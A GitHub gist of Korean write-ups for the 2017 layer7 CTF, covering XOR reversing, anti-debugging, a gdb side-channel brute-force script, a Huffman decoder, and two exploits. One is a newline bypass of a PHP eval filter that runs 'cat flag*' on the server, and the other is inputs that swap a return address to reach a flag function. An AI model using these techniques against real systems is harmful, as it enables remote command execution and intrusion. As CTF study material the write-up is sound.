Skip to content

Instantly share code, notes, and snippets.

@5unKn0wn
Last active September 24, 2017 08:05
Show Gist options
  • Save 5unKn0wn/ee51250c8ab20606fecacd48ac060abd to your computer and use it in GitHub Desktop.
Save 5unKn0wn/ee51250c8ab20606fecacd48ac060abd to your computer and use it in GitHub Desktop.
2017 layer7 ctf writeups.md

2017 layer7 CTF write ups

한국디지털미디어고등학교 이태양 (뮤쀼)

Knock, Knock!

sanity check문제이다. 사이트가 닫혀서 플래그는 기억이 나지 않는다.

flag{????????}

Layer7's Letter

rot거나 걍 단순 치환일거 같아서 "https://quipqiup.com/" 여기다가 돌렸는데 플래그가 나왔다.   플래그는 기억나지 않는다.

flag{????????}

Identification

C#으로 코딩되어있다.
dotpeek C# 디컴파일러로 분석해보면 "AKF@|D$D$D$D$z" 이 값에 각각 7을 xor한게 플래그라는 것을 알 수 있다.

''.join(chr(ord(i) ^ 7) for i in "AKF@|D$D$D$D$z")

FLAG{C#C#C#C#}

Do not touch me!

IsDebuggerPresent함수로 안티디버깅을 하고있다.
"AKF@|chX~hrXlihpXfisn8z" 이 값에 어떤 값을 xor해서 키를 비교한다.
IsDebuggerPresent함수가 0을 반환하게 만들면 xor키가 7이 되므로 이렇게 하면 된다.

''.join(chr(ord(i) ^ 7) for i in "AKF@|chX~hrXlihpXfisn8z")

FLAG{do_you_know_anti?}

can you bypass me?

소스가 주어진다. 몇몇 키워드를 필터링해 eval을 해준다.
preg_match를 이용해서 필터링 하는데 옵션이 적용이 안되있어서 개행문자로 우회 가능하다.

view-source:http://ctf.layer7.kr:6001/?eval=system(%0a%22%0acat%20flag*%0a%22%0a);

flag{flagflagflagflagfalgflagaflaglafg}

블록체인

사진에 있는 주소를 찾아가면 된다.
block 4298268이라고 사진에 적혀있으므로 "https://etherscan.io/block/4298268" 여기로 찾아갔다.
60개의 트랜잭션이 있는데 self로 보낸 트랜잭션의 Input Data를 보면 플래그가 있다.
("https://etherscan.io/tx/0xf5012bc1ff1ab7b899f88605b50ab34fa7980bba754ada1272366e647be14bb0")

flag{Wow_I_Am_th3_Ethereum_H4Cker_JuN0}

My First Swap Function!

처음엔 이게 뭐하는건가 싶었는데 swap을 엉뚱하게 해서 리턴 주소를 swap시킬 수 있다.
swap함수를 호출하고 리턴할 주소가 4196575(0x4008DF) 이므로 이 값을 flag를 주는 함수 주소인 4196102 (0x400706)로 swap 시키면 된다.

itaeyang-ui-MacBook-Pro:Desktop 5unkn0wn$ nc ctf.layer7.kr 7001  
n1 value >>> 4196102  
n2 value >>> 4196575  
before swap 4196102 4196575  
flag{UNSAFE_SWAP-_-}

flag{UNSAFE_SWAP-_-}

Easy as pie

첫 번째 입력하는 key랑 두 번째 입력하는 flag 모두 알아내야 한다.
첫 번째 키는 ptrace이용해 안티디버깅 하고 나서 단순 xor만 해서 비교한다.
구하면 harder이 나온다.
flag연산은 ror이랑 xor 어려운 방식으로 구현해 놓은 코드가 나오는데 굳이 분석하기 귀찮아서 옛날에 다른 문제 풀 때 짜둔 gdb를 이용한 사이드 채널 공격 소스 이용해서 풀었다.

import string
from pwn import *

peda = "gdb-peda$ \x01\x1B\x5B\x30\x6D\x02"
def send_cmd(cmd):
	p.sendlineafter(peda, cmd)

p = process(["gdb", "-q", "./EZpie_dc2a8e606a48412d8687d46ccc7c60ef"])
table = '_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^`{|~ '
flag = "flag{"
flag_len = 37

send_cmd("b *0x000000000400A03")	# compare routine
for i in range(len(flag), flag_len):	# side channel attack
	for j in table:
		print j,
		side = flag + j + ('_' * (flag_len - len(flag) - 1)) + '}'
		send_cmd("r")
		p.sendline("harder")
		p.sendline(side)

		for k in range(len(flag) + 1):
			send_cmd("c")
		p.recv(1024)
		data = p.recv(1024)

		if "Flag Erorr" not in data:
			flag += j
			print flag
			break

print flag + '}'	# flag{qjrjzlddms_durtl_ahsqprk_chlrhek}

flag{qjrjzlddms_durtl_ahsqprk_chlrhek}

ChinoCompressor

argv[1]에 넣은 파일에서 한 줄을 읽어서 암호화해서 compress파일에 저장한다.
빈도별로 어떤 테이블을 따라서 각 글자들을 특정 값의 이진수로 바꾸고 모두 붙여서 8비트씩 끊어 테이블과 함께 저장한다.
처음에는 이게 뭐하는건지 몰라서 그냥 삽질했다.

import struct
u32 = lambda x : struct.unpack("<L", x)[0]

with open("flag", "rb") as f:
	enc = f.read()

enc = enc[3:]
bit_list, data = enc.split('\xcdST')
bit_list = [u32(i) for i in map(''.join, zip(*[iter(str(bit_list))] * 4))]

bit_dict = {}
for i in range(0, len(bit_list), 2):
	bit_dict[chr(bit_list[i])] = bin(bit_list[i + 1]).replace('0b', '').zfill(4)

enc_data = ''
for i in data:
	enc_data += bin(ord(i)).replace('0b', '').zfill(8)[::-1]

print bit_dict
print enc_data

이렇게 코드 짜서 이진수 값 알아냈는데 약간씩 어긋나는 값이 있어서 걍 손으로 삽질해서 다 찾았다.
그렇게 조금씩 어긋나던 이진수 테이블 값을 다 알맞게 고치고 소스 짜서 한번에 복호화 했다.

import struct
u32 = lambda x : struct.unpack("<L", x)[0]

with open("flag", "rb") as f:
	enc = f.read()

enc = enc[3:]
bit_list, data = enc.split('\xcdST')
bit_list = [u32(i) for i in map(''.join, zip(*[iter(str(bit_list))] * 4))]

# bit_dict = {}
# for i in range(0, len(bit_list), 2):
# 	bit_dict[chr(bit_list[i])] = bin(bit_list[i + 1]).replace('0b', '').zfill(4)

bit_dict = {'10110001': '-', '10110000': ',', '10110100': '}', '10110101': 'S', '010': 'a', '111': ' ', '1010110': '.', '011011': 'u', '011010': 'g', '10101111': 'C', '10101110': 'x', '01100': 'd', '0000': 'r', '0001': 'i', '1010100': 'w', '10110111': 'm', '10110110': 'k', '001': 'e', '1011001': 'y', '10111': 'o', '01110': 'c', '01111': 'b', '11001': 'l', '11000': 'n', '101000': 'p', '1101': 'h', '10101010': 'z', '10101011': '{', '1000': 't', '1001': 's', '101001': 'f'}

enc_data = ''
for i in data:
	enc_data += bin(ord(i)).replace('0b', '').zfill(8)[::-1]

plain = ''
for i in enc_data:
	for j in bit_dict.keys():
		if enc_data.startswith(j):
			plain += bit_dict[j]
			enc_data = enc_data[len(j):]

print plain

풀고 보니까 허프만 부호화였다.

flag{i hate huffman}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment